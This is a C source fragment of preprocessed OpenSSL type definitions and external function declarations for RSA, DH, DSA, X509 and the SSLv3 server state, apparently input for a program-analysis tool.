typedef struct bignum_ctx BN_CTX;
struct bn_blinding_st {
int init ;
BIGNUM *A ;
BIGNUM *Ai ;
BIGNUM *mod ;
};
typedef struct bn_blinding_st BN_BLINDING;
struct bn_mont_ctx_st {
int ri ;
BIGNUM RR ;
BIGNUM N ;
BIGNUM Ni ;
unsigned long n0 ;
int flags ;
};
typedef struct bn_mont_ctx_st BN_MONT_CTX;
struct X509_algor_st;struct X509_algor_st;
struct asn1_object_st {
char const *sn ;
char const *ln ;
int nid ;
int length ;
unsigned char *data ;
int flags ;
};
typedef struct asn1_object_st ASN1_OBJECT;
struct asn1_string_st {
int length ;
int type ;
unsigned char *data ;
long flags ;
};
typedef struct asn1_string_st ASN1_STRING;
typedef struct asn1_string_st ASN1_INTEGER;
typedef struct asn1_string_st ASN1_ENUMERATED;
typedef struct asn1_string_st ASN1_BIT_STRING;
typedef struct asn1_string_st ASN1_OCTET_STRING;
typedef struct asn1_string_st ASN1_PRINTABLESTRING;
typedef struct asn1_string_st ASN1_T61STRING;
typedef struct asn1_string_st ASN1_IA5STRING;
typedef struct asn1_string_st ASN1_GENERALSTRING;
typedef struct asn1_string_st ASN1_UNIVERSALSTRING;
typedef struct asn1_string_st ASN1_BMPSTRING;
typedef struct asn1_string_st ASN1_UTCTIME;
typedef struct asn1_string_st ASN1_TIME;
typedef struct asn1_string_st ASN1_GENERALIZEDTIME;
typedef struct asn1_string_st ASN1_VISIBLESTRING;
typedef struct asn1_string_st ASN1_UTF8STRING;
typedef int ASN1_BOOLEAN;
union __anonunion_value_19 {
char *ptr ;
ASN1_BOOLEAN boolean ;
ASN1_STRING *asn1_string ;
ASN1_OBJECT *object ;
ASN1_INTEGER *integer ;
ASN1_ENUMERATED *enumerated ;
ASN1_BIT_STRING *bit_string ;
ASN1_OCTET_STRING *octet_string ;
ASN1_PRINTABLESTRING *printablestring ;
ASN1_T61STRING *t61string ;
ASN1_IA5STRING *ia5string ;
ASN1_GENERALSTRING *generalstring ;
ASN1_BMPSTRING *bmpstring ;
ASN1_UNIVERSALSTRING *universalstring ;
ASN1_UTCTIME *utctime ;
ASN1_GENERALIZEDTIME *generalizedtime ;
ASN1_VISIBLESTRING *visiblestring ;
ASN1_UTF8STRING *utf8string ;
ASN1_STRING *set ;
ASN1_STRING *sequence ;
};
struct asn1_type_st {
int type ;
union __anonunion_value_19 value ;
};
typedef struct asn1_type_st ASN1_TYPE;
struct MD5state_st {
unsigned int A ;
unsigned int B ;
unsigned int C ;
unsigned int D ;
unsigned int Nl ;
unsigned int Nh ;
unsigned int data[16] ;
int num ;
};
typedef struct MD5state_st MD5_CTX;
struct SHAstate_st {
unsigned int h0 ;
unsigned int h1 ;
unsigned int h2 ;
unsigned int h3 ;
unsigned int h4 ;
unsigned int Nl ;
unsigned int Nh ;
unsigned int data[16] ;
int num ;
};
typedef struct SHAstate_st SHA_CTX;
struct MD2state_st {
int num ;
unsigned char data[16] ;
unsigned int cksm[16] ;
unsigned int state[16] ;
};
typedef struct MD2state_st MD2_CTX;
struct MD4state_st {
unsigned int A ;
unsigned int B ;
unsigned int C ;
unsigned int D ;
unsigned int Nl ;
unsigned int Nh ;
unsigned int data[16] ;
int num ;
};
typedef struct MD4state_st MD4_CTX;
struct RIPEMD160state_st {
unsigned int A ;
unsigned int B ;
unsigned int C ;
unsigned int D ;
unsigned int E ;
unsigned int Nl ;
unsigned int Nh ;
unsigned int data[16] ;
int num ;
};
typedef struct RIPEMD160state_st RIPEMD160_CTX;
typedef unsigned char des_cblock[8];
union __anonunion_ks_20 {
des_cblock cblock ;
unsigned long deslong[2] ;
};
struct des_ks_struct {
union __anonunion_ks_20 ks ;
int weak_key ;
};
typedef struct des_ks_struct des_key_schedule[16];
struct rc4_key_st {
unsigned int x ;
unsigned int y ;
unsigned int data[256] ;
};
typedef struct rc4_key_st RC4_KEY;
struct rc2_key_st {
unsigned int data[64] ;
};
typedef struct rc2_key_st RC2_KEY;
struct rc5_key_st {
int rounds ;
unsigned long data[34] ;
};
typedef struct rc5_key_st RC5_32_KEY;
struct bf_key_st {
unsigned int P[18] ;
unsigned int S[1024] ;
};
typedef struct bf_key_st BF_KEY;
struct cast_key_st {
unsigned long data[32] ;
int short_key ;
};
typedef struct cast_key_st CAST_KEY;
struct idea_key_st {
unsigned int data[9][6] ;
};
typedef struct idea_key_st IDEA_KEY_SCHEDULE;
struct mdc2_ctx_st {
int num ;
unsigned char data[8] ;
des_cblock h ;
des_cblock hh ;
int pad_type ;
};
typedef struct mdc2_ctx_st MDC2_CTX;
struct rsa_st;typedef struct rsa_st RSA;
struct rsa_meth_st {
char const *name ;
int (*rsa_pub_enc)(int flen , unsigned char *from , unsigned char *to , RSA *rsa ,
int padding ) ;
int (*rsa_pub_dec)(int flen , unsigned char *from , unsigned char *to , RSA *rsa ,
int padding ) ;
int (*rsa_priv_enc)(int flen , unsigned char *from , unsigned char *to , RSA *rsa ,
int padding ) ;
int (*rsa_priv_dec)(int flen , unsigned char *from , unsigned char *to , RSA *rsa ,
int padding ) ;
int (*rsa_mod_exp)(BIGNUM *r0 , BIGNUM *I , RSA *rsa ) ;
int (*bn_mod_exp)(BIGNUM *r , BIGNUM *a , BIGNUM const *p , BIGNUM const *m ,
BN_CTX *ctx , BN_MONT_CTX *m_ctx ) ;
int (*init)(RSA *rsa ) ;
int (*finish)(RSA *rsa ) ;
int flags ;
char *app_data ;
int (*rsa_sign)(int type , unsigned char *m , unsigned int m_len , unsigned char *sigret ,
unsigned int *siglen , RSA *rsa ) ;
int (*rsa_verify)(int dtype , unsigned char *m , unsigned int m_len , unsigned char *sigbuf ,
unsigned int siglen , RSA *rsa ) ;
};
typedef struct rsa_meth_st RSA_METHOD;
struct rsa_st {
int pad ;
int version ;
RSA_METHOD *meth ;
BIGNUM *n ;
BIGNUM *e ;
BIGNUM *d ;
BIGNUM *p ;
BIGNUM *q ;
BIGNUM *dmp1 ;
BIGNUM *dmq1 ;
BIGNUM *iqmp ;
CRYPTO_EX_DATA ex_data ;
int references ;
int flags ;
BN_MONT_CTX *_method_mod_n ;
BN_MONT_CTX *_method_mod_p ;
BN_MONT_CTX *_method_mod_q ;
char *bignum_data ;
BN_BLINDING *blinding ;
};
struct dh_st;typedef struct dh_st DH;
struct dh_method {
char const *name ;
int (*generate_key)(DH *dh ) ;
int (*compute_key)(unsigned char *key , BIGNUM *pub_key , DH *dh ) ;
int (*bn_mod_exp)(DH *dh , BIGNUM *r , BIGNUM *a , BIGNUM const *p , BIGNUM const *m ,
BN_CTX *ctx , BN_MONT_CTX *m_ctx ) ;
int (*init)(DH *dh ) ;
int (*finish)(DH *dh ) ;
int flags ;
char *app_data ;
};
typedef struct dh_method DH_METHOD;
struct dh_st {
int pad ;
int version ;
BIGNUM *p ;
BIGNUM *g ;
int length ;
BIGNUM *pub_key ;
BIGNUM *priv_key ;
int flags ;
char *method_mont_p ;
BIGNUM *q ;
BIGNUM *j ;
unsigned char *seed ;
int seedlen ;
BIGNUM *counter ;
int references ;
CRYPTO_EX_DATA ex_data ;
DH_METHOD *meth ;
};
struct dsa_st;typedef struct dsa_st DSA;
struct DSA_SIG_st {
BIGNUM *r ;
BIGNUM *s ;
};
typedef struct DSA_SIG_st DSA_SIG;
struct dsa_method {
char const *name ;
DSA_SIG *(*dsa_do_sign)(unsigned char const *dgst , int dlen , DSA *dsa ) ;
int (*dsa_sign_setup)(DSA *dsa , BN_CTX *ctx_in , BIGNUM **kinvp , BIGNUM **rp ) ;
int (*dsa_do_verify)(unsigned char const *dgst , int dgst_len , DSA_SIG *sig ,
DSA *dsa ) ;
int (*dsa_mod_exp)(DSA *dsa , BIGNUM *rr , BIGNUM *a1 , BIGNUM *p1 , BIGNUM *a2 ,
BIGNUM *p2 , BIGNUM *m , BN_CTX *ctx , BN_MONT_CTX *in_mont ) ;
int (*bn_mod_exp)(DSA *dsa , BIGNUM *r , BIGNUM *a , BIGNUM const *p , BIGNUM const *m ,
BN_CTX *ctx , BN_MONT_CTX *m_ctx ) ;
int (*init)(DSA *dsa ) ;
int (*finish)(DSA *dsa ) ;
int flags ;
char *app_data ;
};
typedef struct dsa_method DSA_METHOD;
struct dsa_st {
int pad ;
int version ;
int write_params ;
BIGNUM *p ;
BIGNUM *q ;
BIGNUM *g ;
BIGNUM *pub_key ;
BIGNUM *priv_key ;
BIGNUM *kinv ;
BIGNUM *r ;
int flags ;
char *method_mont_p ;
int references ;
CRYPTO_EX_DATA ex_data ;
DSA_METHOD *meth ;
};
union __anonunion_pkey_21 {
char *ptr ;
struct rsa_st *rsa ;
struct dsa_st *dsa ;
struct dh_st *dh ;
};
struct evp_pkey_st {
int type ;
int save_type ;
int references ;
union __anonunion_pkey_21 pkey ;
int save_parameters ;
STACK *attributes ;
};
typedef struct evp_pkey_st EVP_PKEY;
struct env_md_st {
int type ;
int pkey_type ;
int md_size ;
void (*init)() ;
void (*update)() ;
void (*final)() ;
int (*sign)() ;
int (*verify)() ;
int required_pkey_type[5] ;
int block_size ;
int ctx_size ;
};
typedef struct env_md_st EVP_MD;
union __anonunion_md_22 {
unsigned char base[4] ;
MD2_CTX md2 ;
MD5_CTX md5 ;
MD4_CTX md4 ;
RIPEMD160_CTX ripemd160 ;
SHA_CTX sha ;
MDC2_CTX mdc2 ;
};
struct env_md_ctx_st {
EVP_MD const *digest ;
union __anonunion_md_22 md ;
};
typedef struct env_md_ctx_st EVP_MD_CTX;
struct evp_cipher_st;typedef struct evp_cipher_st EVP_CIPHER;
struct evp_cipher_ctx_st;typedef struct evp_cipher_ctx_st EVP_CIPHER_CTX;
struct evp_cipher_st {
int nid ;
int block_size ;
int key_len ;
int iv_len ;
unsigned long flags ;
int (*init)(EVP_CIPHER_CTX *ctx , unsigned char const *key , unsigned char const *iv ,
int enc ) ;
int (*do_cipher)(EVP_CIPHER_CTX *ctx , unsigned char *out , unsigned char const *in ,
unsigned int inl ) ;
int (*cleanup)(EVP_CIPHER_CTX * ) ;
int ctx_size ;
int (*set_asn1_parameters)(EVP_CIPHER_CTX * , ASN1_TYPE * ) ;
int (*get_asn1_parameters)(EVP_CIPHER_CTX * , ASN1_TYPE * ) ;
int (*ctrl)(EVP_CIPHER_CTX * , int type , int arg , void *ptr ) ;
void *app_data ;
};
struct __anonstruct_rc4_24 {
unsigned char key[16] ;
RC4_KEY ks ;
};
struct __anonstruct_desx_cbc_25 {
des_key_schedule ks ;
des_cblock inw ;
des_cblock outw ;
};
struct __anonstruct_des_ede_26 {
des_key_schedule ks1 ;
des_key_schedule ks2 ;
des_key_schedule ks3 ;
};
struct __anonstruct_rc2_27 {
int key_bits ;
RC2_KEY ks ;
};
struct __anonstruct_rc5_28 {
int rounds ;
RC5_32_KEY ks ;
};
union __anonunion_c_23 {
struct __anonstruct_rc4_24 rc4 ;
des_key_schedule des_ks ;
struct __anonstruct_desx_cbc_25 desx_cbc ;
struct __anonstruct_des_ede_26 des_ede ;
IDEA_KEY_SCHEDULE idea_ks ;
struct __anonstruct_rc2_27 rc2 ;
struct __anonstruct_rc5_28 rc5 ;
BF_KEY bf_ks ;
CAST_KEY cast_ks ;
};
struct evp_cipher_ctx_st {
EVP_CIPHER const *cipher ;
int encrypt ;
int buf_len ;
unsigned char oiv[8] ;
unsigned char iv[8] ;
unsigned char buf[8] ;
int num ;
void *app_data ;
int key_len ;
union __anonunion_c_23 c ;
};
struct X509_algor_st {
ASN1_OBJECT *algorithm ;
ASN1_TYPE *parameter ;
};
typedef struct X509_algor_st X509_ALGOR;
struct X509_val_st {
ASN1_TIME *notBefore ;
ASN1_TIME *notAfter ;
};
typedef struct X509_val_st X509_VAL;
struct X509_pubkey_st {
X509_ALGOR *algor ;
ASN1_BIT_STRING *public_key ;
EVP_PKEY *pkey ;
};
typedef struct X509_pubkey_st X509_PUBKEY;
struct X509_name_st {
STACK *entries ;
int modified ;
BUF_MEM *bytes ;
unsigned long hash ;
};
typedef struct X509_name_st X509_NAME;
struct x509_cinf_st {
ASN1_INTEGER *version ;
ASN1_INTEGER *serialNumber ;
X509_ALGOR *signature ;
X509_NAME *issuer ;
X509_VAL *validity ;
X509_NAME *subject ;
X509_PUBKEY *key ;
ASN1_BIT_STRING *issuerUID ;
ASN1_BIT_STRING *subjectUID ;
STACK *extensions ;
};
typedef struct x509_cinf_st X509_CINF;
struct x509_cert_aux_st {
STACK *trust ;
STACK *reject ;
ASN1_UTF8STRING *alias ;
ASN1_OCTET_STRING *keyid ;
STACK *other ;
};
typedef struct x509_cert_aux_st X509_CERT_AUX;
struct AUTHORITY_KEYID_st;struct x509_st {
X509_CINF *cert_info ;
X509_ALGOR *sig_alg ;
ASN1_BIT_STRING *signature ;
int valid ;
int references ;
char *name ;
CRYPTO_EX_DATA ex_data ;
long ex_pathlen ;
unsigned long ex_flags ;
unsigned long ex_kusage ;
unsigned long ex_xkusage ;
unsigned long ex_nscert ;
ASN1_OCTET_STRING *skid ;
struct AUTHORITY_KEYID_st *akid ;
unsigned char sha1_hash[20] ;
X509_CERT_AUX *aux ;
};
typedef struct x509_st X509;
struct lhash_node_st {
void *data ;
struct lhash_node_st *next ;
unsigned long hash ;
};
typedef struct lhash_node_st LHASH_NODE;
struct lhash_st {
LHASH_NODE **b ;
int (*comp)() ;
unsigned long (*hash)() ;
unsigned int num_nodes ;
unsigned int num_alloc_nodes ;
unsigned int p ;
unsigned int pmax ;
unsigned long up_load ;
unsigned long down_load ;
unsigned long num_items ;
unsigned long num_expands ;
unsigned long num_expand_reallocs ;
unsigned long num_contracts ;
unsigned long num_contract_reallocs ;
unsigned long num_hash_calls ;
unsigned long num_comp_calls ;
unsigned long num_insert ;
unsigned long num_replace ;
unsigned long num_delete ;
unsigned long num_no_delete ;
unsigned long num_retrieve ;
unsigned long num_retrieve_miss ;
unsigned long num_hash_comps ;
int error ;
};
struct x509_store_ctx_st;typedef struct x509_store_ctx_st X509_STORE_CTX;
struct x509_store_st {
int cache ;
STACK *objs ;
STACK *get_cert_methods ;
int (*verify)(X509_STORE_CTX *ctx ) ;
int (*verify_cb)(int ok , X509_STORE_CTX *ctx ) ;
CRYPTO_EX_DATA ex_data ;
int references ;
int depth ;
};
typedef struct x509_store_st X509_STORE;
struct x509_store_ctx_st {
X509_STORE *ctx ;
int current_method ;
X509 *cert ;
STACK *untrusted ;
int purpose ;
int trust ;
time_t check_time ;
unsigned long flags ;
void *other_ctx ;
int (*verify)(X509_STORE_CTX *ctx ) ;
int (*verify_cb)(int ok , X509_STORE_CTX *ctx ) ;
int (*get_issuer)(X509 **issuer , X509_STORE_CTX *ctx , X509 *x ) ;
int (*check_issued)(X509_STORE_CTX *ctx , X509 *x , X509 *issuer ) ;
int (*cleanup)(X509_STORE_CTX *ctx ) ;
int depth ;
int valid ;
int last_untrusted ;
STACK *chain ;
int error_depth ;
int error ;
X509 *current_cert ;
X509 *current_issuer ;
CRYPTO_EX_DATA ex_data ;
};
struct comp_method_st {
int type ;
char const *name ;
int (*init)() ;
void (*finish)() ;
int (*compress)() ;
int (*expand)() ;
long (*ctrl)() ;
long (*callback_ctrl)() ;
};
typedef struct comp_method_st COMP_METHOD;
struct comp_ctx_st {
COMP_METHOD *meth ;
unsigned long compress_in ;
unsigned long compress_out ;
unsigned long expand_in ;
unsigned long expand_out ;
CRYPTO_EX_DATA ex_data ;
};
typedef struct comp_ctx_st COMP_CTX;
typedef int pem_password_cb(char *buf , int size , int rwflag , void *userdata );
struct ssl_st;
struct ssl_cipher_st {
int valid ;
char const *name ;
unsigned long id ;
unsigned long algorithms ;
unsigned long algo_strength ;
unsigned long algorithm2 ;
int strength_bits ;
int alg_bits ;
unsigned long mask ;
unsigned long mask_strength ;
};
typedef struct ssl_cipher_st SSL_CIPHER;
typedef struct ssl_st SSL;
struct ssl_ctx_st;typedef struct ssl_ctx_st SSL_CTX;
struct ssl3_enc_method;struct ssl_method_st {
int version ;
int (*ssl_new)(SSL *s ) ;
void (*ssl_clear)(SSL *s ) ;
void (*ssl_free)(SSL *s ) ;
int (*ssl_accept)(SSL *s ) ;
int (*ssl_connect)(SSL *s ) ;
int (*ssl_read)(SSL *s , void *buf , int len ) ;
int (*ssl_peek)(SSL *s , void *buf , int len ) ;
int (*ssl_write)(SSL *s , void const *buf , int len ) ;
int (*ssl_shutdown)(SSL *s ) ;
int (*ssl_renegotiate)(SSL *s ) ;
int (*ssl_renegotiate_check)(SSL *s ) ;
long (*ssl_ctrl)(SSL *s , int cmd , long larg , char *parg ) ;
long (*ssl_ctx_ctrl)(SSL_CTX *ctx , int cmd , long larg , char *parg ) ;
SSL_CIPHER *(*get_cipher_by_char)(unsigned char const *ptr ) ;
int (*put_cipher_by_char)(SSL_CIPHER const *cipher , unsigned char *ptr ) ;
int (*ssl_pending)(SSL *s ) ;
int (*num_ciphers)(void) ;
SSL_CIPHER *(*get_cipher)(unsigned int ncipher ) ;
struct ssl_method_st *(*get_ssl_method)(int version ) ;
long (*get_timeout)(void) ;
struct ssl3_enc_method *ssl3_enc ;
int (*ssl_version)() ;
long (*ssl_callback_ctrl)(SSL *s , int cb_id , void (*fp)() ) ;
long (*ssl_ctx_callback_ctrl)(SSL_CTX *s , int cb_id , void (*fp)() ) ;
};
typedef struct ssl_method_st SSL_METHOD;
struct sess_cert_st;struct ssl_session_st {
int ssl_version ;
unsigned int key_arg_length ;
unsigned char key_arg[8] ;
int master_key_length ;
unsigned char master_key[48] ;
unsigned int session_id_length ;
unsigned char session_id[32] ;
unsigned int sid_ctx_length ;
unsigned char sid_ctx[32] ;
int not_resumable ;
struct sess_cert_st *sess_cert ;
X509 *peer ;
long verify_result ;
int references ;
long timeout ;
long time ;
int compress_meth ;
SSL_CIPHER *cipher ;
unsigned long cipher_id ;
STACK *ciphers ;
CRYPTO_EX_DATA ex_data ;
struct ssl_session_st *prev ;
struct ssl_session_st *next ;
};
typedef struct ssl_session_st SSL_SESSION;
struct ssl_comp_st {
int id ;
char *name ;
COMP_METHOD *method ;
};
typedef struct ssl_comp_st SSL_COMP;
struct __anonstruct_stats_37 {
int sess_connect ;
int sess_connect_renegotiate ;
int sess_connect_good ;
int sess_accept ;
int sess_accept_renegotiate ;
int sess_accept_good ;
int sess_miss ;
int sess_timeout ;
int sess_cache_full ;
int sess_hit ;
int sess_cb_hit ;
};
struct cert_st;struct ssl_ctx_st {
SSL_METHOD *method ;
unsigned long options ;
unsigned long mode ;
STACK *cipher_list ;
STACK *cipher_list_by_id ;
struct x509_store_st *cert_store ;
struct lhash_st *sessions ;
unsigned long session_cache_size ;
struct ssl_session_st *session_cache_head ;
struct ssl_session_st *session_cache_tail ;
int session_cache_mode ;
long session_timeout ;
int (*new_session_cb)(struct ssl_st *ssl , SSL_SESSION *sess ) ;
void (*remove_session_cb)(struct ssl_ctx_st *ctx , SSL_SESSION *sess ) ;
SSL_SESSION *(*get_session_cb)(struct ssl_st *ssl , unsigned char *data , int len ,
int *copy ) ;
struct __anonstruct_stats_37 stats ;
int references ;
void (*info_callback)() ;
int (*app_verify_callback)() ;
char *app_verify_arg ;
struct cert_st *cert ;
int read_ahead ;
int verify_mode ;
int verify_depth ;
unsigned int sid_ctx_length ;
unsigned char sid_ctx[32] ;
int (*default_verify_callback)(int ok , X509_STORE_CTX *ctx ) ;
int purpose ;
int trust ;
pem_password_cb *default_passwd_callback ;
void *default_passwd_callback_userdata ;
int (*client_cert_cb)() ;
STACK *client_CA ;
int quiet_shutdown ;
CRYPTO_EX_DATA ex_data ;
EVP_MD const *rsa_md5 ;
EVP_MD const *md5 ;
EVP_MD const *sha1 ;
STACK *extra_certs ;
STACK *comp_methods ;
};
struct ssl2_state_st;struct ssl3_state_st;struct ssl_st {
int version ;
int type ;
SSL_METHOD *method ;
BIO *rbio ;
BIO *wbio ;
BIO *bbio ;
int rwstate ;
int in_handshake ;
int (*handshake_func)() ;
int server ;
int new_session ;
int quiet_shutdown ;
int shutdown ;
int state ;
int rstate ;
BUF_MEM *init_buf ;
int init_num ;
int init_off ;
unsigned char *packet ;
unsigned int packet_length ;
struct ssl2_state_st *s2 ;
struct ssl3_state_st *s3 ;
int read_ahead ;
int hit ;
int purpose ;
int trust ;
STACK *cipher_list ;
STACK *cipher_list_by_id ;
EVP_CIPHER_CTX *enc_read_ctx ;
EVP_MD const *read_hash ;
COMP_CTX *expand ;
EVP_CIPHER_CTX *enc_write_ctx ;
EVP_MD const *write_hash ;
COMP_CTX *compress ;
struct cert_st *cert ;
unsigned int sid_ctx_length ;
unsigned char sid_ctx[32] ;
SSL_SESSION *session ;
int verify_mode ;
int verify_depth ;
int (*verify_callback)(int ok , X509_STORE_CTX *ctx ) ;
void (*info_callback)() ;
int error ;
int error_code ;
SSL_CTX *ctx ;
int debug ;
long verify_result ;
CRYPTO_EX_DATA ex_data ;
STACK *client_CA ;
int references ;
unsigned long options ;
unsigned long mode ;
int first_packet ;
int client_version ;
};
struct __anonstruct_tmp_38 {
unsigned int conn_id_length ;
unsigned int cert_type ;
unsigned int cert_length ;
unsigned int csl ;
unsigned int clear ;
unsigned int enc ;
unsigned char ccl[32] ;
unsigned int cipher_spec_length ;
unsigned int session_id_length ;
unsigned int clen ;
unsigned int rlen ;
};
struct ssl2_state_st {
int three_byte_header ;
int clear_text ;
int escape ;
int ssl2_rollback ;
unsigned int wnum ;
int wpend_tot ;
unsigned char const *wpend_buf ;
int wpend_off ;
int wpend_len ;
int wpend_ret ;
int rbuf_left ;
int rbuf_offs ;
unsigned char *rbuf ;
unsigned char *wbuf ;
unsigned char *write_ptr ;
unsigned int padding ;
unsigned int rlength ;
int ract_data_length ;
unsigned int wlength ;
int wact_data_length ;
unsigned char *ract_data ;
unsigned char *wact_data ;
unsigned char *mac_data ;
unsigned char *pad_data_UNUSED ;
unsigned char *read_key ;
unsigned char *write_key ;
unsigned int challenge_length ;
unsigned char challenge[32] ;
unsigned int conn_id_length ;
unsigned char conn_id[16] ;
unsigned int key_material_length ;
unsigned char key_material[48] ;
unsigned long read_sequence ;
unsigned long write_sequence ;
struct __anonstruct_tmp_38 tmp ;
};
struct ssl3_record_st {
int type ;
unsigned int length ;
unsigned int off ;
unsigned char *data ;
unsigned char *input ;
unsigned char *comp ;
};
typedef struct ssl3_record_st SSL3_RECORD;
struct ssl3_buffer_st {
unsigned char *buf ;
int offset ;
int left ;
};
typedef struct ssl3_buffer_st SSL3_BUFFER;
struct __anonstruct_tmp_39 {
unsigned char cert_verify_md[72] ;
unsigned char finish_md[72] ;
int finish_md_len ;
unsigned char peer_finish_md[72] ;
int peer_finish_md_len ;
unsigned long message_size ;
int message_type ;
SSL_CIPHER *new_cipher ;
DH *dh ;
int next_state ;
int reuse_message ;
int cert_req ;
int ctype_num ;
char ctype[7] ;
STACK *ca_names ;
int use_rsa_tmp ;
int key_block_length ;
unsigned char *key_block ;
EVP_CIPHER const *new_sym_enc ;
EVP_MD const *new_hash ;
SSL_COMP const *new_compression ;
int cert_request ;
};
struct ssl3_state_st {
long flags ;
int delay_buf_pop_ret ;
unsigned char read_sequence[8] ;
unsigned char read_mac_secret[36] ;
unsigned char write_sequence[8] ;
unsigned char write_mac_secret[36] ;
unsigned char server_random[32] ;
unsigned char client_random[32] ;
SSL3_BUFFER rbuf ;
SSL3_BUFFER wbuf ;
SSL3_RECORD rrec ;
SSL3_RECORD wrec ;
unsigned char alert_fragment[2] ;
unsigned int alert_fragment_len ;
unsigned char handshake_fragment[4] ;
unsigned int handshake_fragment_len ;
unsigned int wnum ;
int wpend_tot ;
int wpend_type ;
int wpend_ret ;
unsigned char const *wpend_buf ;
EVP_MD_CTX finish_dgst1 ;
EVP_MD_CTX finish_dgst2 ;
int change_cipher_spec ;
int warn_alert ;
int fatal_alert ;
int alert_dispatch ;
unsigned char send_alert[2] ;
int renegotiate ;
int total_renegotiations ;
int num_renegotiations ;
int in_read_app_data ;
struct __anonstruct_tmp_39 tmp ;
};
struct cert_pkey_st {
X509 *x509 ;
EVP_PKEY *privatekey ;
};
typedef struct cert_pkey_st CERT_PKEY;
struct cert_st {
CERT_PKEY *key ;
int valid ;
unsigned long mask ;
unsigned long export_mask ;
RSA *rsa_tmp ;
RSA *(*rsa_tmp_cb)(SSL *ssl , int is_export , int keysize ) ;
DH *dh_tmp ;
DH *(*dh_tmp_cb)(SSL *ssl , int is_export , int keysize ) ;
CERT_PKEY pkeys[5] ;
int references ;
};
typedef struct cert_st CERT;
struct sess_cert_st {
STACK *cert_chain ;
int peer_cert_type ;
CERT_PKEY *peer_key ;
CERT_PKEY peer_pkeys[5] ;
RSA *peer_rsa_tmp ;
DH *peer_dh_tmp ;
int references ;
};
typedef struct sess_cert_st SESS_CERT;
struct ssl3_enc_method {
int (*enc)(SSL * , int ) ;
int (*mac)(SSL * , unsigned char * , int ) ;
int (*setup_key_block)(SSL * ) ;
int (*generate_master_secret)(SSL * , unsigned char * , unsigned char * , int ) ;
int (*change_cipher_state)(SSL * , int ) ;
int (*final_finish_mac)(SSL * , EVP_MD_CTX * , EVP_MD_CTX * , char const * ,
int , unsigned char * ) ;
int finish_mac_length ;
int (*cert_verify_mac)(SSL * , EVP_MD_CTX * , unsigned char * ) ;
char const *client_finished_label ;
int client_finished_label_len ;
char const *server_finished_label ;
int server_finished_label_len ;
int (*alert_value)(int ) ;
};
extern BUF_MEM *BUF_MEM_new(void) ;
extern void BUF_MEM_free(BUF_MEM *a ) ;
extern int BUF_MEM_grow(BUF_MEM *str , int len ) ;
extern int RAND_pseudo_bytes(unsigned char *buf , int num ) ;
extern void RAND_add(void const *buf , int num , double entropy ) ;
extern int sk_num(STACK const * ) ;
extern char *sk_value(STACK const * , int ) ;
extern STACK *sk_new_null(void) ;
extern void sk_free(STACK * ) ;
extern void sk_pop_free(STACK *st , void (*func)(void * ) ) ;
extern int sk_push(STACK *st , char *data ) ;
extern char *sk_shift(STACK *st ) ;
extern int CRYPTO_add_lock(int *pointer , int amount , int type , char const *file ,
int line ) ;
extern long BIO_ctrl(BIO *bp , int cmd , long larg , void *parg ) ;
extern time_t time(time_t *__timer ) ;
extern int BN_num_bits(BIGNUM const *a ) ;
extern void BN_clear_free(BIGNUM *a ) ;
extern BIGNUM *BN_bin2bn(unsigned char const *s , int len , BIGNUM *ret ) ;
extern int BN_bn2bin(BIGNUM const *a , unsigned char *to ) ;
extern BIGNUM *BN_dup(BIGNUM const *a ) ;
extern char *ASN1_dup(int (*i2d)() , char *(*d2i)() , char *x ) ;
extern int RSA_private_decrypt(int flen , unsigned char *from , unsigned char *to ,
RSA *rsa , int padding ) ;
extern int RSA_sign(int type , unsigned char *m , unsigned int m_len , unsigned char *sigret ,
unsigned int *siglen , RSA *rsa ) ;
extern int RSA_verify(int type , unsigned char *m , unsigned int m_len , unsigned char *sigbuf ,
unsigned int siglen , RSA *rsa ) ;
extern void DH_free(DH *dh ) ;
extern int DH_generate_key(DH *dh ) ;
extern int DH_compute_key(unsigned char *key , BIGNUM *pub_key , DH *dh ) ;
extern DH *d2i_DHparams(DH **a , unsigned char **pp , long length ) ;
extern int i2d_DHparams(DH *a , unsigned char **pp ) ;
extern int DSA_verify(int type , unsigned char const *dgst , int dgst_len , unsigned char *sigbuf ,
int siglen , DSA *dsa ) ;
extern void EVP_DigestInit(EVP_MD_CTX *ctx , EVP_MD const *type ) ;
extern void EVP_DigestUpdate(EVP_MD_CTX *ctx , void const *d , unsigned int cnt ) ;
extern void EVP_DigestFinal(EVP_MD_CTX *ctx , unsigned char *md , unsigned int *s ) ;
extern int EVP_SignFinal(EVP_MD_CTX *ctx , unsigned char *md , unsigned int *s , EVP_PKEY *pkey ) ;
extern EVP_MD *EVP_dss1(void) ;
extern int EVP_PKEY_size(EVP_PKEY *pkey ) ;
extern void EVP_PKEY_free(EVP_PKEY *pkey ) ;
extern int i2d_X509_NAME(X509_NAME *a , unsigned char **pp ) ;
extern void X509_free(X509 *a ) ;
extern X509 *d2i_X509(X509 **a , unsigned char **pp , long length ) ;
extern EVP_PKEY *X509_get_pubkey(X509 *x ) ;
extern int X509_certificate_type(X509 *x , EVP_PKEY *pubkey ) ;
extern void *memcpy(void * __restrict __dest , void const * __restrict __src ,
size_t __n ) ;
extern void *memset(void *__s , int __c , size_t __n ) ;
extern int *__errno_location(void) __attribute__((__const__)) ;
extern void ERR_put_error(int lib , int func , int reason , char const *file , int line ) ;
extern void ERR_clear_error(void) ;
extern int SSL_clear(SSL *s ) ;
SSL_METHOD *SSLv3_server_method(void) ;
extern STACK *SSL_get_client_CA_list(SSL *s ) ;
extern int SSL_state(SSL *ssl ) ;
extern SSL_METHOD *sslv3_base_method(void) ;
extern SESS_CERT *ssl_sess_cert_new(void) ;
extern int ssl_get_new_session(SSL *s , int session ) ;
extern int ssl_get_prev_session(SSL *s , unsigned char *session , int len ) ;
extern STACK *ssl_bytes_to_cipher_list(SSL *s , unsigned char *p , int num , STACK **skp ) ;
extern void ssl_update_cache(SSL *s , int mode ) ;
extern int ssl_verify_cert_chain(SSL *s , STACK *sk ) ;
extern X509 *ssl_get_server_send_cert(SSL * ) ;
extern EVP_PKEY *ssl_get_sign_pkey(SSL * , SSL_CIPHER * ) ;
extern STACK *ssl_get_ciphers_by_id(SSL *s ) ;
extern int ssl_verify_alarm_type(long type ) ;
extern int ssl3_put_cipher_by_char(SSL_CIPHER const *c , unsigned char *p ) ;
extern void ssl3_init_finished_mac(SSL *s ) ;
int ssl3_send_server_certificate(SSL *s ) ;
extern int ssl3_get_finished(SSL *s , int state_a , int state_b ) ;
extern int ssl3_send_change_cipher_spec(SSL *s , int state_a , int state_b ) ;
extern void ssl3_cleanup_key_block(SSL *s ) ;
extern int ssl3_do_write(SSL *s , int type ) ;
extern void ssl3_send_alert(SSL *s , int level , int desc ) ;
